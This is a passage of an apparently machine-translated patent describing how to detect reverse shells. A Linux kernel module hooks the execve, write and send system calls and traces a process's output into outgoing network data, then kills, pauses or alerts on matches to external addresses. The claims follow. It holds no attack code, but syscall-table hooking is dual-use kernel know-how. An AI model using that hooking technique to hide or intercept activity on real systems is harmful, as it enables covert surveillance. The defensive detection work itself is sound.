[0157] In the module's exit function, the system performs the exact opposite operation to that performed during loading. It locates the previously modified system call table or related function pointers and restores them to point to the original kernel system call handlers. This unhooking process is crucial; it ensures that after the module is unloaded and its code segment is removed from memory, the operating system will not attempt to jump to a non-existent address to execute the hook function, thus fundamentally avoiding the risk of system crashes.
[0158] Secondly, a complete cleanup of all dynamically allocated kernel resources was performed.
[0159] After all system call hooks are unhooked, or during the unhooking process, the module performs a thorough cleanup to release all kernel memory resources it occupied during runtime.
[0160] This series of cleanup actions ensures that Linux kernel modules do not generate any memory leaks after exiting, thus guaranteeing the integrity of operating system resources and long-term operational stability.
[0161] Reference Figure 5 , Figure 5 This is a schematic diagram of the structure of the reverse shell detection system based on kernel data flow tracing provided by the present invention. The system includes:
[0162] The first processing module is used to obtain the file object type pointed to by the standard input, standard output or standard error file descriptor of the target process when the target process is detected to be executing a command;
[0163] The second processing module is used to determine the associated process that carries the output data of the target process when the file object type is not a network socket, and to establish a data tracking relationship between the target process and the associated process.
[0164] The third processing module is used to capture the raw payload data written to the file object by the target process;
[0165] The fourth processing module is used to capture network sending requests and network sending data initiated by associated processes;
[0166] The fifth processing module is used to compare the original payload data with the network-sent data. When the original payload data matches the network-sent data and the target address of the network-sent request is an external network address, it is determined that the target process has a reverse shell behavior.
[0167] In one possible implementation, the second processing module is further configured to determine that the target process exhibits reverse shell behavior when the file object type is a network socket and the target address of the network socket is an external network address.
[0168] In one possible implementation, the second processing module is further configured to:
[0169] When the file object type is a pipe, the system file descriptor table is traversed to find the process holding the pipe read end, and the found process is identified as the associated process.
[0170] When the file object type is terminal device, and the terminal device is inconsistent with the terminal device associated with the parent process of the target process, the parent process of the target process is determined to be the associated process.
[0171] In one possible implementation, the third processing module is further configured to:
[0172] By hooking the write system call, standard output or standard error data written by the target process to a file object can be captured.
[0173] The captured standard output data or standard error data is copied and stored in a memory buffer in the kernel space as the raw payload data;
[0174] Mark the associated process as being in a state of pending network tracing.
[0175] In one possible implementation, the fourth processing module is further configured to:
[0176] By hooking the send system call, network sending requests from associated processes can be captured;
[0177] Check if the associated process is in a pending network tracing state;
[0178] When the associated process is in a state of pending network tracing, the payload in the network sending request is extracted as network sending data.
[0179] In one possible implementation, the fifth processing module is further configured to, when the original payload data does not match the network transmitted data, or when it is determined that the target address is not an external network address, release the data tracking relationship between the target process and the associated process, and delete the pending network tracking status flag of the associated process.
[0180] In one possible implementation, the first processing module is further configured to:
[0181] Load the Linux module and hook the execve or fexecve system call through the Linux module;
[0182] The target process is captured during the process creation phase, and its file descriptor table is read.
[0183] In one possible implementation, such as Figure 5 As shown, the system also includes: a sixth processing module; the sixth processing module is used for:
[0184] Query the preset response strategy library and perform any of the following operations based on the handling rules configured in the response strategy library:
[0185] Send a SIGKILL signal to the target process to terminate the process and generate a blocking alarm message;
[0186] Send a SIGSTOP signal to the target process to suspend the process and generate a freeze alert message;
[0187] Generate a risk warning message about a reverse shell.
[0188] It should be noted that the reverse shell detection system based on kernel data flow tracing provided by the present invention can execute the reverse shell detection method based on kernel data flow tracing of any of the above embodiments during specific operation, which will not be elaborated in this embodiment.
[0189] Figure 6 This is a schematic diagram of the structure of the electronic device provided by the present invention, such as... Figure 6 As shown, the electronic device may include a processor 610, a communications interface 620, a memory 630, and a communication bus 640, wherein the processor 610, the communications interface 620, and the memory 630 communicate with each other via the communication bus 640. The processor 610 can call logical instructions in the memory 630 to execute the reverse shell detection method based on kernel data flow tracing provided in the above embodiments.
[0190] Furthermore, the logical instructions in the aforementioned memory 630 can be implemented as software functional units and, when sold or used as independent products, can be stored in a computer-readable storage medium. Based on this understanding, the technical solution of the present invention, or the part that contributes to the prior art, or a part of the technical solution, can be embodied in the form of a software product. This computer software product is stored in a storage medium and includes several instructions to cause a computer device (which may be a personal computer, server, or network device, etc.) to execute all or part of the steps of the methods of the various embodiments of the present invention. The aforementioned storage medium includes various media capable of storing program code, such as USB flash drives, portable hard drives, read-only memory (ROM), random access memory (RAM), magnetic disks, or optical disks.
[0191] On the other hand, the present invention also provides a computer program product, which includes a computer program stored on a non-transitory computer-readable storage medium. The computer program includes program instructions, and when the program instructions are executed by a computer, the computer is able to execute the reverse shell detection method based on kernel data flow tracing provided in the above embodiments.
[0192] In another aspect, the present invention also provides a non-transitory computer-readable storage medium having a computer program stored thereon, which, when executed by a processor, is implemented to perform the reverse shell detection method based on kernel data flow tracing provided in the above embodiments.
[0193] The system embodiments described above are merely illustrative. The units described as separate components may or may not be physically separate, and the components shown as units may or may not be physical units; that is, they may be located in one place or distributed across multiple network units. Some or all of the modules can be selected to achieve the purpose of this embodiment according to actual needs. Those skilled in the art can understand and implement this without any creative effort.
[0194] Through the above description of the embodiments, those skilled in the art can clearly understand that each embodiment can be implemented by means of software plus necessary general-purpose hardware platforms, and of course, it can also be implemented by hardware. Based on this understanding, the above technical solutions, in essence or the part that contributes to the prior art, can be embodied in the form of a software product. This computer software product can be stored in a computer-readable storage medium, such as ROM / RAM, magnetic disk, optical disk, etc., including several instructions to cause a computer device (which may be a personal computer, server, or network device, etc.) to execute the methods of various embodiments or some parts of embodiments.
[0195] Finally, it should be noted that the above embodiments are only used to illustrate the technical solutions of the present invention, and not to limit them; although the present invention has been described in detail with reference to the foregoing embodiments, those skilled in the art should understand that modifications can still be made to the technical solutions described in the foregoing embodiments, or equivalent substitutions can be made to some of the technical features; and these modifications or substitutions do not cause the essence of the corresponding technical solutions to deviate from the spirit and scope of the technical solutions of the embodiments of the present invention.
Claims
1. A method for detecting reverse shells based on kernel data flow tracing, characterized in that, include: When a target process is detected executing a command, the file object type pointed to by the standard input, standard output, or standard error file descriptor of the target process is obtained; When the file object type is a non-network socket, determine the associated process that carries the output data of the target process, and establish a data tracking relationship between the target process and the associated process; Capture the raw payload data written by the target process to the file object; including: capturing the standard output data or standard error data written by the target process to the file object by hooking the write system call; copying the captured standard output data or standard error data to a memory buffer in the kernel space as the raw payload data; and marking the associated process as being in a state to be traced by the network. Capturing network transmission requests and network transmission data initiated by the associated process includes: capturing the network transmission requests of the associated process by hooking the send system call; checking whether the associated process is in the pending network tracking state; and extracting the payload in the network transmission request as the network transmission data when the associated process is in the pending network tracking state. The original payload data is compared with the network-sent data. If the original payload data matches the network-sent data and the target address of the network-sent request is an external network address, it is determined that the target process has a reverse shell behavior.
2. The reverse shell detection method based on kernel data flow tracing according to claim 1, characterized in that, Also includes: When the file object type is a network socket and the target address of the network socket is an external network address, it is determined that the target process exhibits reverse shell behavior.
3. The reverse shell detection method based on kernel data flow tracing according to claim 1, characterized in that, The step of determining the associated process that carries the output data of the target process includes: When the file object type is a pipe, the system file descriptor table is traversed to find the process holding the pipe reading end, and the found process is identified as the associated process; When the file object type is a terminal device, and the terminal device is not the same as the terminal device associated with the parent process of the target process, the parent process of the target process is determined to be the associated process.
4. The reverse shell detection method based on kernel data flow tracing according to claim 1, characterized in that, After comparing the original payload data with the network-transmitted data, the method further includes: When the original payload data does not match the network transmitted data, or when it is determined that the target address is not an external network address, the data tracking relationship between the target process and the associated process is terminated, and the pending network tracking status flag of the associated process is deleted.
5. The reverse shell detection method based on kernel data flow tracing according to claim 1, characterized in that, The detected commands executed by the target process include: Load the Linux module, and hook the execve or fexecve system call through the Linux module; The target process is captured during the process creation phase, and the file descriptor table of the target process is read.
6. The reverse shell detection method based on kernel data flow tracing according to any one of claims 1-2, characterized in that, After determining that the target process exhibits reverse shell behavior, the process further includes: Query the preset response strategy library and perform any of the following operations according to the handling rules configured in the response strategy library: Send a SIGKILL signal to the target process to terminate the process and generate a blocking alarm message; Send a SIGSTOP signal to the target process to pause the process execution and generate a freeze alarm message; Generate a risk warning message about a reverse shell.
7. A reverse shell detection system based on kernel data flow tracing, characterized in that, include: The first processing module is used to obtain the file object type pointed to by the standard input, standard output or standard error file descriptor of the target process when the target process is detected to be executing a command; The second processing module is used to determine the associated process carrying the output data of the target process and establish a data tracking relationship between the target process and the associated process when the file object type is a non-network socket. The third processing module is used to capture the raw payload data written by the target process to the file object; including: capturing the standard output data or standard error data written by the target process to the file object by hooking the write system call; copying the captured standard output data or standard error data to the kernel space memory buffer as the raw payload data; and marking the associated process as being in a state to be traced by the network. The fourth processing module is used to capture network sending requests and network sending data initiated by the associated process; including: capturing the network sending requests of the associated process by hooking the send system call; checking whether the associated process is in the pending network tracking state; when the associated process is in the pending network tracking state, extracting the payload in the network sending request as the network sending data; The fifth processing module is used to compare the original payload data with the network-sent data. When the original payload data matches the network-sent data and the target address of the network-sent request is an external network address, it is determined that the target process has a reverse shell behavior.
8. An electronic device comprising a memory, a processor, and a computer program stored in the memory and running on the processor, characterized in that, When the processor executes the computer program, it implements the reverse shell detection method based on kernel data flow tracing as described in any one of claims 1 to 6.